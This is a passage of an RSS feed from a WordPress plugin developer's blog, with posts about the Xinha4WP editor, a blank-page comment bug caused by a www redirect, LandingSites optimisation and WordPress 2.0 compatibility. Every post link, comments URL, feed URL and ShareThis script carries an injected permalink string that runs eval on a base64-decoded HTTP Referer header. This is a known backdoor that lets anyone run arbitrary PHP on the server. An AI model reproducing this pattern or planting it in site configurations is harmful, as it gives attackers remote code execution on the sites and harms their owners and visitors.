		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/wordpress-21-and-xinha4wp/</guid>
		<description><![CDATA[WordPress 2.1 is coming and there are some changes for plugins to deal with. Looking at what is changing and the Xinha4WP code, I don&#8217;t see any reason why Xinha4WP would not work on WordPress 2.1. I haven&#8217;t had a chance to install the 2.1 Alpha release and test yet (too busy fighting the spam [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "WordPress 2.1 and Xinha4WP",
	url: "http://plugins.baptiste.us/2006/12/14/wordpress-21-and-xinha4wp/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>WordPress 2.1 is coming and there are <a href="http://wordpress.org/development/2006/12/naughty-or-nice/">some changes for plugins to deal with</a>. Looking at what is changing and the <a href="http://plugins.baptiste.us/plugins/xinha4wp/">Xinha4WP</a> code, I don&#8217;t see any reason why Xinha4WP would not work on WordPress 2.1. I haven&#8217;t had a chance to install the 2.1 Alpha release and test yet (<a href="http://onthepitch.org/2006/12/14/spam-floods/">too busy fighting the spam floods</a>), but I&#8217;m 99% sure it&#8217;ll be good to go. If any of you happen to be playing with 2.1, let me know if Xinha4WP works for you. I&#8217;d like to <a href="http://codex.wordpress.org/User:Spencerp/2.1alpha3_Plugin_Compatibility">get it listed on the compatible page</a>. </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=WordPress+2.1+and+Xinha4WP&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F12%2F14%2Fwordpress-21-and-xinha4wp%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/12/14/wordpress-21-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>G2Image and Xinha4WP</title>
		<link>http://plugins.baptiste.us/2006/12/11/g2image-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/12/11/g2image-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 11 Dec 2006 15:24:13 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/g2image-and-xinha4wp/</guid>
		<description><![CDATA[I&#8217;m working on a site that will likely have pictures in a lot of posts. I&#8217;ve installed Gallery2 and the WPG2 WordPress plugin, but what really makes WPG2 useful is the ability to include gallery pictures with G2Image. WPG2 includes the TinyMCE G2Image plugin by default, so you lose that when you use Xinha4WP.

G2Image was [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "G2Image and Xinha4WP",
	url: "http://plugins.baptiste.us/2006/12/11/g2image-and-xinha4wp/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m working on a site that will likely have pictures in a lot of posts. I&#8217;ve installed <a href="http://gallery.menalto.com/">Gallery2</a> and the <a href="http://wpg2.galleryembedded.com/">WPG2 WordPress plugin</a>, but what really makes WPG2 useful is the ability to include gallery pictures with <a href="http://g2image.steffensenfamily.com/index.php?title=Main_Page">G2Image</a>. WPG2 includes the TinyMCE G2Image plugin by default, so you lose that when you use <a href="http://plugins.baptiste.us/plugins/xinha4wp/">Xinha4WP</a>.
</p>
<p>G2Image was recently setup to be generic so it could be used in other applications. Since Xinha has such a robust plugin architecture, it shouldn&#8217;t be too hard to splice G2Image in. The tricky part won&#8217;t be inserting the WPG2 tags, it&#8217;ll be writing a filter so you SEE the images while editing, yet still save just the WPG2 tag. If I can&#8217;t get that going right away I may use G2Image to insert the actual &lt;img src&gt; HTML. We&#8217;ll see - my JavaScript is pretty rusty.&nbsp;</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=G2Image+and+Xinha4WP&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F12%2F11%2Fg2image-and-xinha4wp%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/12/11/g2image-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blank Pages When Posting Comments in WordPress?</title>
		<link>http://plugins.baptiste.us/2006/12/11/blank-pages-when-posting-comments-in-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/12/11/blank-pages-when-posting-comments-in-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 11 Dec 2006 15:09:44 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/wordpress/blank-pages-when-posting-comments-in-wordpress/</guid>
		<description><![CDATA[I just resolved a problem on one of my WordPress based blogs where anytime a person posted a comment (logged in or not), they got a blank page. I tried all sorts of stuff to fix it. Turned off all the plugins, changed themes, you name it. I quickly discovered that when the comment form [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Blank Pages When Posting Comments in WordPress?",
	url: "http://plugins.baptiste.us/2006/12/11/blank-pages-when-posting-comments-in-wordpress/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>I just resolved a problem on one of my WordPress based blogs where anytime a person posted a comment (logged in or not), they got a blank page. I tried all sorts of stuff to fix it. Turned off all the plugins, changed themes, you name it. I quickly discovered that when the comment form was submitted, none of the form variables were available in the wp-comments-post.php script. When this happens, the post can&#8217;t be queried from the DB and you fail on Line 11 (comment_id_not_found). A quick bit of debug code and I found NONE of the form variables were in $_POST. Not good.</p>
<p>I figured maybe something was in the theme headers, etc so I created a simple form with a couple variables that would  post to wp-comment-post.php and it worked. Hmm. So I tried the other angle and created a comment post test script that dump the form variables and called it from my theme form file. The variables disappeared. Any theme, the variables vanished in my test script.</p>
<p>This had me totally confused. Why couldn&#8217;t I get basic form data into my form. Google returned a variety of ideas, but none that worked. Finally, I stumbled across a ticket for WordPress searching for &#8216;Blank Page on comments&#8217; and someone had the same problem I did and for the same reason. It&#8217;s a doozy.</p>
<p>I&#8217;m one of those people who find the &#8216;www&#8217; in URLs redundant. All my sites support them both, but from an SEO point of view, I&#8217;ve started ensuring www.mydomain.com permanently redirects to mydomain.com. When I setup this blog a few years ago, I had put in &#8216;www.baptiste.us&#8217; in the blog configuration. A few months ago, I added a permanent redirect for www.baptiste.us to always go to baptiste.us. Everything worked as far as I could tell and since I don&#8217;t comment on my blog except to respond to new comments, well&#8230; That redirect and the blog settings BROKE the comments and I didn&#8217;t realize it for quite a while (I just figured nobody had anything to say <img src='http://plugins.baptiste.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). Here&#8217;s why.</p>
<p>In WordPress theme comment files, the form &#8216;action&#8217; variable includes the site url in front of wp-comments-post.php. So for my comment form, the action was set to http://www.baptiste.us/wp-comments-post.php, regardless of the theme I used. The problem is, the Permanent Redirect from www.baptiste.us to baptiste.us WIPES OUT the form variables, even though everything else seems to work. Silently. Now this may be due to session conflicts, etc, I&#8217;m not 100% sure.</p>
<p>But the solution was easy. I took out the &#8216;www.&#8217; in my blog&#8217;s config so comment posts went to the &#8216;baptiste.us&#8217; domain right away instead of www.baptiste.us and comments started working again.</p>
<p>Moral of the story - if you have a permanent redirect setup for your WordPress blog, be sure the <em>desired</em> domain is the domain set in the WordPress config. If you want everyone to end up at www.mydomain.com, you better have the &#8216;www&#8217; in your WordPress config. If you want the www to always go away, make sure it&#8217;s not in your config either. Hopefully this post saves someone else the time and aggravation if they stumble into this trap.<br />
    
    </p>
<p>So 3 days and nights of debugging on and off and all it took was updating two config variables in WordPress. Problem solved <img src='http://plugins.baptiste.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
    </p>
<p><strong>ADDING:</strong> Beware of WordPress 2.3&#8217;s new Canonical URL feature. It&#8217;s a great feature, long overdue, but if you have redirects in .htaccess, you can possibly create a redirect loop. <a href="http://markjaquith.wordpress.com/2007/09/25/wordpress-23-canonical-urls/">Lots of info on this feature can be found at Mark on WordPress</a>.
    </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Blank+Pages+When+Posting+Comments+in+WordPress%3F&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F12%2F11%2Fblank-pages-when-posting-comments-in-wordpress%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/12/11/blank-pages-when-posting-comments-in-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xinha4WP Beta Available - v1.2b</title>
		<link>http://plugins.baptiste.us/2006/11/16/xinha4wp-beta-available-v12b/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/11/16/xinha4wp-beta-available-v12b/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 16 Nov 2006 15:46:07 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/xinha4wp-beta-available-v12b/</guid>
		<description><![CDATA[I&#8217;ve been working on the next release of Xinha 4 WordPress over the past month and figured I&#8217;d release a beta version for folks to try out. I&#8217;ve been using this beta for the past few weeks on my sites and it has been working well. I still have a few things to add and [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Xinha4WP Beta Available - v1.2b",
	url: "http://plugins.baptiste.us/2006/11/16/xinha4wp-beta-available-v12b/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working on the next release of Xinha 4 WordPress over the past month and figured I&#8217;d release a beta version for folks to try out. I&#8217;ve been using this beta for the past few weeks on my sites and it has been working well. I still have a few things to add and fix before a final version is released.
</p>
<p>You can download the beta version in <a href="http://baptiste.us/wp-content/downloads/xinha4wp_12b.zip">zip</a> and <a href="http://baptiste.us/wp-content/downloads/xinha4wp_12b.tar.gz">tar</a> format.&nbsp;
</p>
<p>Installation is easy:
</p>
<ol>
<li>Move your existing xinha4wp plugin directory to something like xinha4wp_old (just in case)</li>
<li>Unzip/tar the new version into place (/wp-content/plugins/xinha4wp)</li>
<li>Open the Xinha4WP options screen and look for a successful upgrade message.</li>
<li>Clear your browser&#8217;s disk cache.&nbsp;</li>
</ol>
<p>Here are some important notes about this version:
</p>
<ul>
<li>It contains a much improved version of Xinha from the Oct 30th nightly build.</li>
<li>Works with both WordPress and WordPress-MU.<br />
  </li>
<li>The HTML cleanup feature has a number of new filters you can use. I added options allowing you to set the defaults for each filter (on or off) in the prompt, but I haven&#8217;t been able to get them to work. So for now, all but one of the filters will be enabled when you cleanup by default (you can manually enable/disable them during each check)</li>
<li>The Image Manager plugin now allows the setting of a custom directory name. The directory <strong>MUST</strong> be a subdirectory of wp-content. It will default to the uploads directory, but this can be overridden in the Post or Comments settings screen at the bottom. If you used an old version of xinha4wp and had the images going into /wp-content/images you <strong>must</strong> set the directory field to &#8216;images&#8217;</li>
<li><strong>IMPORTANT!</strong> After you install the beta, open the Xinha4WP options screen to upgrade the database schema. Once you do this, follow the instructions in the update message to clear your browsers disk cache. Firefox was caching the old Xinha javascript files, even on restarts, which cause a lot of trouble. One clear way to know if the &#8216;new&#8217; Xinha is being loaded is the HTML Cleanup button. If you still see the old &#8216;W3C&#8217; button, the old code is being loaded. If you see a yellow broom button, the new code is being loaded.</li>
<li>This version includes a new HTML generation engine which should be disabled by default. I find it generates very clean HTML, making HTML Cleanup rarely necessary. However it has a couple of quirks like including BR tags at the end of paragraphs.</li>
<li>Xinha4WP no longer checks for Text Control plugin. If your post has linefeeds in it, WordPress will convert them to hard line breaks. The HTML Cleanup button will remove all these extra line feeds, so if you cut and paste often, one HTML Cleanup per post is suggested.</li>
<li>The new form spellcheck feature in Firefox 2.0 WILL highlight misspelled words. However, Xinha has a context menu plugin and if it is enabled, you won&#8217;t be able to correct spelling with Firefox since Xinha intercepts the right mouse click for its own menu. Use Xinha&#8217;s spell check feature instead.</li>
<li>It doesn&#8217;t break EventCalendar3 like it used to.<br />
  </li>
</ul>
<p>This version will work with WordPress v1.5.x and v2.0.3 or higher as well as WordPress-MU 1.0.x. If you use this with WordPress v2 or WordPress-MU, you MUST disable the Rich Text Edit option in your global options AND the Admin profile. Otherwise you will see both WYSIWYG editors.<br />
  
</p>
<p>Please post any problems with the beta you have here instead of the main Xinha4WP page.
</p>
<p><strong>NOTE</strong> Poor coders like myself always appreciate donations to keep the tumbler full!
</p>
<div style="text-align: center;">
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" style="text-align: center;">
<input type="hidden" name="cmd" value="_s-xclick" />
<input type="image" border="0" src="https://www.paypal.com/en_US/i/btn/x-click-but04.gif" name="submit" alt="Make payments with PayPal - its fast, free and secure!" />
<input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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-----END PKCS7-----" />
</form>
</div>
<p>[Originally posted at baptiste.us - <a href="http://baptiste.us/2006/11/16/xinha4wp-beta-available-v12b/">See the original article for comments</a>]</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Xinha4WP+Beta+Available+-+v1.2b&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F11%2F16%2Fxinha4wp-beta-available-v12b%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/11/16/xinha4wp-beta-available-v12b/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Optimizing LandingSites for WordPress</title>
		<link>http://plugins.baptiste.us/2006/06/06/optimizing-landingsites-for-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/06/06/optimizing-landingsites-for-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 06 Jun 2006 08:33:56 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/optimizing-landingsites-for-wordpress/</guid>
		<description><![CDATA[A new WordPress plugin called LandingSites came out recently that allows people referred to your site from search engines to see a list of related posts in case the original post wasn&#8217;t what they wanted. This is a great feature that has existed on some other CMS products for a while.
If a user searches for [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Optimizing LandingSites for WordPress",
	url: "http://plugins.baptiste.us/2006/06/06/optimizing-landingsites-for-wordpress/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>A new WordPress plugin called <a href="http://theundersigned.net/2006/06/landing-sites-11/" target="_blank">LandingSites</a> came out recently that allows people referred to your site from search engines to see a list of related posts in case the original post wasn&#8217;t what they wanted. This is a great feature that has existed on some other CMS products for a while.</p>
<p>If a user searches for something and clicks on a link to your WordPress site, now you can present them with the linked post and also a list of other posts that are related. This is very similar in functionality to the <a href="http://www.w-a-s-a-b-i.com/archives/2006/02/02/wordpress-related-entries-20/" target="_blank">Related Entries Plugin</a>, except it only takes effect if a user was referred from a search engine. This allows you to only take the related search hit for referred users instead of every user. It also lets you greet new users with a friendly message about what they were searching for and what else might interest them based on their search terms.</p>
<p>The plugin installed just fine and I was able to add it to my theme fairly easily. However, the code was loaded with substr() calls and other slow functions. A lot of processing was being done, even if a user was not referred to your site (i.e. they were just browsing around). Instead of using a cascade of if(substr = searchengine) calls, I implemented a match array keyed off known search engine hosts that returns the query delimiter immediately. I also condensed the code into a few functions to remove redundant code.</p>
<p>The updated code can be <a href="http://baptiste.us/wp-content/downloads/landingsites131.zip">downloaded here</a>. <del>Note that if you run WordPress 2.0, uncomment the bottom section where ls_install is. WP 1.5 users need to execute the SQL manually (I may add a WP 1.5 init routine if the spirit moves me). I need to add a version check to make this 100% portable, but I&#8217;m already nodding off&#8230; I may update it tomorrow to add the portability check.</del></p>
<p>Enjoy!</p>
<p><strong>UPDATE:</strong> Now that I got a little sleep, I&#8217;ve updated things a bit to keep me from being embarassed for being lazy! The biggest change is the implimentation of static variables for the terms, delimiter, and referer. Since we call these routines multiple times in template code, it was redundant. Now using a static variable, the values are maintained during a page&#8217;s processing which eliminates a lot of processing. We process once for each value and reuse it every time we are called. I did not cache the database query since I can&#8217;t imagine why you would need to grab the related posts twice in one page.</p>
<p>I also made the DB schema update portable for WP 1.5 and 2.0 so the schema will be updated for you automagically even if you aren&#8217;t using WP 2.0.x. Anyone with a WP 1.2 install, please check that it works as well. I used a little trickery and a stored option to ensure the DB schema is only checked during admin interface page views, not main page views and can be checked quickly without a DB query (since options are cached already)</p>
<p>I fixed the problem where SQL queries failed if the post ID wasn&#8217;t available (i.e. you used it on a main page, etc) so you won&#8217;t see a post in the related list when viewing it.<br />
    
    </p>
<p>Finally, I added support for search engines like A9 and Excite which include the search term as a URL path instead of in a query variable.
    </p>
<p>[Originally posted at baptiste.us - <a href="http://baptiste.us/2006/06/06/optimizing-landingsites-for-wordpress/">See the original article for comments</a>]
    </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Optimizing+LandingSites+for+WordPress&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F06%2F06%2Foptimizing-landingsites-for-wordpress%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/06/06/optimizing-landingsites-for-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Look at that - Xinha4WP works on WordPress 2.0</title>
		<link>http://plugins.baptiste.us/2006/05/31/look-at-that-xinha4wp-works-on-wordpress-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/05/31/look-at-that-xinha4wp-works-on-wordpress-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 31 May 2006 18:00:58 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/look-at-that-xinha4wp-works-on-wordpress-20/</guid>
		<description><![CDATA[OK, I admit that I had hoped to have Xinha4WP ready for WordPress 2.0, but other projects and life in general kept me from doing that. I had tried out Xinha4WP on Wordpress 2.0.0 and found it would sort of work but it looked like a lot of work was needed.
I did not have a [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Look at that - Xinha4WP works on WordPress 2.0",
	url: "http://plugins.baptiste.us/2006/05/31/look-at-that-xinha4wp-works-on-wordpress-20/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>OK, I admit that I had hoped to have <a href="http://plugins.baptiste.us/plugins/xinha4wp/">Xinha4WP</a> ready for <a href="http://wordpress.org" target="_blank">WordPress 2.0</a>, but other projects and life in general kept me from doing that. I had tried out Xinha4WP on Wordpress 2.0.0 and found it would sort of work but it looked like a lot of work was needed.</p>
<p>I did not have a huge desire to move to WordPress 2.0, mostly because 1.5.x was working for my sites and I had other projects I had to take care of. Well, the time was coming to get to v2.0 - too many cool new things were coming up for 2.0 or higher (<a href="http://mattread.com/projects/wp-plugins/installer-the-plugin/" target="_blank">the Installer plugin</a> is awesome). So I finally found some time to give the Xinha4WP v2.0 changes a go.</p>
<p>First step was updating my test install to WordPress v2.0.2 and poke around. I&#8217;m not 100% sure, but the way they structured the Post HTML made it seem like TinyMCE wasn&#8217;t so static as it used to be. In fact it was downright gentle. If &#8216;Rich Editing&#8217; was enabled it included some JavaScript for the toolbar, but otherwise the textarea tag was left alone - this is a good thing. So on a hunch, I installed Xinha4WP v1.1 and disabled Rich Editing for all users. The Admin user still had Rich Editing set for it, so I disabled it and hit &#8216;Write&#8217;</p>
<p>Voila - Xinha4WP came right up and so far seems to be working like a champ! So if you&#8217;ve been wanting to get Xinha4WP working on WordPress v2.0, it looks like you can with WP 2.0.2. I&#8217;m still working on a Xinha4WP v2.0 that will make installation seamless and take care of disabling TinyMCE for you, but for now, try this&#8230;.</p>
<ol>
<li>Make sure you have WordPress v2.0.2 installed.</li>
<li>Disable &#8216;Rich Editing&#8217; under Options-&gt;Writing. Also make sure any users you have created also have it disabled in their profile.</li>
<li>Ignore the warnings about Text-Control for now. I believe WP 2.0.x is handling the line feed issue better than 1.5.x did - still need to test.</li>
<li>Try to write a post. Xinha4WP works just fine for me here. How about you?</li>
</ol>
<p><strong>Note:</strong> The built in upload tools will only work if Xinha4WP is in HTML View mode. Since Xinha4WP has its own Image Manipulation plugin, I&#8217;d suggest using that instead. Xinha4WP v2.0 will strip out the image upload stuff from WordPress for simplicity.</p>
<p>Xinha4WP didn&#8217;t work for comments, but that is theme related. v2.0 will include CSS overrides to prevent the theme based issues with comment posting we&#8217;ve seen before. So it may work for you for comments, it may not. </p>
<p>So there you have it. It looks like a recent bug fix release of WP made things MUCH easier. I&#8217;m off to code. I&#8217;m REALLY hoping to have something by this weekend for beta testers. Check the <a href="http://plugins.baptiste.us/plugins/xinha4wp/">Xinha4WP</a> page for updates. Thanks for your patience!</p>
<p><strong>UPDATE:</strong> Make sure you disable toolbar flow!
    </p>
<p>[Originally posted at baptiste.us - <a href="http://baptiste.us/2006/05/31/look-at-that-xinha4wp-works-on-wordpress-20/">See the original article for comments</a>]
    </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Look+at+that+-+Xinha4WP+works+on+WordPress+2.0&url=http%3A%2F%2Fplugins.baptiste.us%2F2006%2F05%2F31%2Flook-at-that-xinha4wp-works-on-wordpress-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2006/05/31/look-at-that-xinha4wp-works-on-wordpress-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Building iFolder for x86_64</title>
		<link>http://plugins.baptiste.us/2006/04/12/building-ifolder-for-x86_64/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/04/12/building-ifolder-for-x86_64/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 12 Apr 2006 21:22:25 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/software/building-ifolder-for-x86_64/</guid>
